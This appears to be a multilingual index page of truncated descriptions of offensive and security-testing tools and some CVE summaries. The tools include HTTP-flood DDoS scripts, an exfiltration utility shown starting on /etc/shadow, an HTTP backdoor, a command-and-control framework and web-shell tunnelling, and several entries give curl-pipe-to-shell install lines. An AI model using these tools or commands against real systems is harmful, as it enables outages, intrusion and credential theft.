cc-ddos

如果你觉得这个仓库有用，请给它点个 Star，因为它是免费的 : 捐赠信息在发布版中 脚本仍正常运行，已于 2025 年测试。 cc-ddos 一个用于通过多种 HTTP Flood 方法对网站进行 DDOS 攻击的 Python 脚本。一个普通网站只需 5 秒即可完全瘫痪！ 使用方法： 该脚本可在 Windows、Linux Core 以及 Android Termux 上运行，以下是说明： 使用以下方法将以自动预设配置运行脚本，并利用全部网络资源以达到最大攻击力。使用手动脚本可以自定义攻击参数！ 测试 2022/09/01： 下载适合您操作系统的版本：点击此处 本程序依赖于其他程序，...

CVE-2026-91766

When the http:// stream wrapper follows a redirect it forwards the user-supplied Authorization, Cookie and Proxy-Authorization headers unchanged, even when the redirect target is a different host, a different port, or a downgrade from HTTPS to HTTP. A server that can steer a redirect therefore...

CVE-2026-91766

A flaw was found in PHP. When following a redirect, the built-in HTTP Hypertext Transfer Protocol stream wrapper forwards sensitive request headers—such as authentication tokens and session cookies—unchanged, even when directed to a different host, port, or unencrypted connection. A malicious...

exfilkit

exfilkit Data exfiltration utility for testing detection capabilities Description Data exfiltration utility used for testing detection capabilities of security products. Obviously for legal purposes only. Exfiltration How-To /etc/shadow - HTTP GET requests Server root@kitploit: ./exfilkit-cli.py ...

exfilkit

exfilkit 用于测试检测能力的数据外泄工具 描述 用于测试安全产品检测能力的数据外泄工具。显然仅用于合法目的。 外泄操作指南 /etc/shadow - HTTP GET 请求 Server root@kitploit: ./exfilkit-cli.py -m exfilkit.methods.http.paramcipher.GETServer -lp 80 -o output.log Client root@kitploit: $ ./exfilkit-cli.py -m exfilkit.methods.http.paramcipher.GETClient -rh...

ReverseHttp

ReverseHttp Backdoor en Python que se comunica mediante solicitudes HTTP POST/GET Requisitos Python 2.7 Cherrypy pip install cherrypy Requests pip install requests Uso: Ejecuta el script del listener, luego el controlador, luego envía el archivo backdoor y espera conexiones. Captura de pantalla...

CVE-2022-21907

CVE-2022-21907 Descripción - POC para CVE-2022-21907: Vulnerabilidad de ejecución remota de código de la pila de protocolo HTTP. - Creado por antx en 2022-01-17. Detalle - Vulnerabilidad de ejecución remota de código de la pila de protocolo HTTP. - Similar a...

trevorc2

trevorc2 TrevorC2 - Command and Control via Legitimate Behavior over HTTP Written by: Dave Kennedy @HackingDave Website: https://www.trustedsec.com Note that this is a very early release - heavy randomization and encryption to be added soon. TrevorC2 is a client/server model for masking command a...

trevorc2

trevorc2 TrevorC2 - 通过HTTP的合法行为进行命令与控制 作者：Dave Kennedy @HackingDave 网站：https://www.trustedsec.com 注意：此版本非常早期 - 即将加入大量随机化和加密功能。 TrevorC2 是一种客户端/服务器模型，用于通过一个正常可浏览的网站来掩盖命令与控制。由于时间间隔不同且不使用POST请求进行数据外泄，检测变得困难得多。 root@kitploit: , .'''''. ... ''''', .' ',' ,.MMMM;.;' '. ;; ;MMMMMMMMM; ;;' :'M:...

vaf

vaf 一个用 Nim 编写的快速、简单且功能丰富的 Web 模糊测试器 vaf 是一个跨平台 Web 模糊测试器，功能丰富。其中一些功能包括： 快速线程 HTTP 头模糊测试 代理支持 你自己的功能！ 以及更多…… 安装 你可以使用以下一行命令安装 vaf： root@kitploit: curl https://raw.githubusercontent.com/d4rckh/vaf/main/install.sh | sudo bash 选项 root@kitploit: 选项： -h, --help -u, --url=URL 目标 URL。用 FUZZ 替换模糊测试区域 -w,...

ABPTTS

一条通往太阳的黑色路径 （用于 Web 应用服务器的 TCP 隧道） https://www.blackhat.com/us-16/arsenal.htmla-black-path-toward-the-sun Ben Lincoln, NCC Group, 2016 ABPTTS 使用一个 Python 客户端脚本和一个 Web 应用服务器页面/包1，通过 HTTP/HTTPS 连接将 TCP 流量隧道传输到 Web 应用服务器。换句话说，在任何可以部署 Web shell 的地方，现在都应该能够建立完整的 TCP 隧道。这使得可以通过 Web 应用服务器进行 RDP、交互式...

EUVD-2026-87344

Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation Wikipedia Android App allows Accessing/Intercepting/Modifying HTTP Cookies. This issue affects Wikipedia Android App: main...

Q-DDOS-GUI

Q-DDOS-GUI 使用 C 编写的 DDOS，支持 TCP/HTTP/HTTPS 使用 C 编写的 DDOS 攻击工具。支持对 TCP、HTTP 和 HTTPS 协议发起攻击。可以设置随机超时（在指定秒数范围内）或固定超时。选择要使用的线程数。 勾选“全部停止”复选框以停止所有线程和进程。 我不对任何滥用行为负责。...

wfuzz

Wfuzz - The Web Fuzzer Wfuzz has been created to facilitate the task in web applications assessments and it is based on a simple concept: it replaces any reference to the FUZZ keyword by the value of a given payload. A payload in Wfuzz is a source of data. This simple concept allows any input to ...

wfuzz

Wfuzz - El Fuzzer Web Wfuzz ha sido creado para facilitar la tarea en evaluaciones de aplicaciones web y se basa en un concepto simple: reemplaza cualquier referencia a la palabra clave FUZZ por el valor de un payload dado. Un payload en Wfuzz es una fuente de datos. Este simple concepto permite...

domhttpx

domhttpx is a google search engine dorker with HTTP toolkit built with python, can make it easier for you to find many URLs/IPs at once with fast time. List Install Usage Flags Basic Usage One Keyword Multiple Keyword Extract Title Page Extract Title Page from Real Path Extract Status Code Extrac...

domhttpx

domhttpx 是一个使用 Python 构建的 谷歌搜索引擎搜索器 及 HTTP 工具包，可以让你快速同时查找大量 URL/IP。 目录 安装 使用 参数 基本用法 单个关键词 多个关键词 提取页面标题 从真实路径提取页面标题 提取状态码 从真实路径提取状态码 提取 Web 服务器 运行示例 帮助与错误报告 致谢 安装 适用于 Windows、Linux 和 Mac root@kitploit: git clone https://github.com/naufalardhani/domhttpx.git cd domhttpx pip3 install -r...

hyperfox

Hyperfox Hyperfox is a security auditing tool that proxies and records HTTP and HTTPS traffic between two points. Installation You can install the latest version of hyperfox to /usr/local/bin with the following command requires admin privileges: root@kitploit: curl -sL...

hyperfox

Hyperfox Hyperfox 是一款安全审计工具，用于代理并记录两个端点之间的 HTTP 和 HTTPS 流量。 安装 您可以通过以下命令将 Hyperfox 的最新版本安装到 /usr/local/bin（需要管理员权限）： root@kitploit: curl -sL 'https://raw.githubusercontent.com/malfunkt/hyperfox/master/install.sh' | sh 如果您不放心直接运行此脚本，也可以从我们的发布页面获取预编译版本并手动安装。 从源码构建 hyperfox 要从源码构建 hyperfox，您需要安装 Go ...

Arecibo

Arecibo 用于带外数据泄露（DNS 和 HTTP）的端点 作者 Juan Manuel Fernández @TheXC3LL & Pablo Martinez @Xassiz DNS 数据泄露 创建一个新令牌： root@kitploit: curl localhost:5000/generatedns "htoken": "c008b5dd22817c50441522f917c66743" 现在你可以使用这个识别令牌来进行 DNS 解析（ABCD.TOKEN.x.yourdomain.com）： root@kitploit:...